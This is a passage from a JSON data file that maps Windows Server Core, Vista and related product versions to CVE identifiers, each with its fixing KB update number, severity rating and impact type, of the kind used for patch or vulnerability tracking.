Privilege"},{"cve":"CVE-2019-0836","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493464","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503286","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4520008","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530717","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537762","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550922","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556807","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 1903 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1069","kb":"4503293","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1322","kb":"4517389","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4565351","severity":"Critical","impact":"Elevation of Privilege"}],"Windows Server, version 1909 (Server Core installation)":[{"cve":"CVE-2018-0886","kb":"4556799","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2019-1476","kb":"4530684","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4528760","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4532693","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540673","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0796","kb":"4551762","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2020-1027","kb":"4549951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556799","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1313","kb":"4560960","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4565351","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4565351","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601315","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003169","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003169","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1732","kb":"4601315","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601315","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000808","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001337","severity":"Important","impact":"Security Feature Bypass"}],"Windows Server, version 2004 (Server Core installation)":[{"cve":"CVE-2020-1313","kb":"4557957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4566782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4566782","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server, version 20H2 (Server Core Installation)":[{"cve":"CVE-2020-1472","kb":"4601319","severity":"Critical","impact":"Elevation of Privilege"},{"cve":"CVE-2020-24587","kb":"5003173","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003173","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003637","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-1732","kb":"4601319","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-22947","kb":"5009543","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-26863","kb":"5000802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2021-27094","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001330","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004945","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005033","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005565","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015807","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014699","severity":"Important","impact":"Remote Code Execution"}],"Windows Update Assistant":[{"cve":"CVE-2021-42297","kb":"","severity":"Important","impact":"Elevation of Privilege"}],"Windows Vista":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072303","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126587","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 1":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4037","kb":"957097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2008-4114","kb":"958687","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2008-4844","kb":"960714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"}],"Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2008-0015","kb":"973507","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3023","kb":"975254","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2009-3103","kb":"975517","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981349","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3145","kb":"2478935","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2418240","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3970","kb":"2483185","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2898869","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3023299","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072310","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code 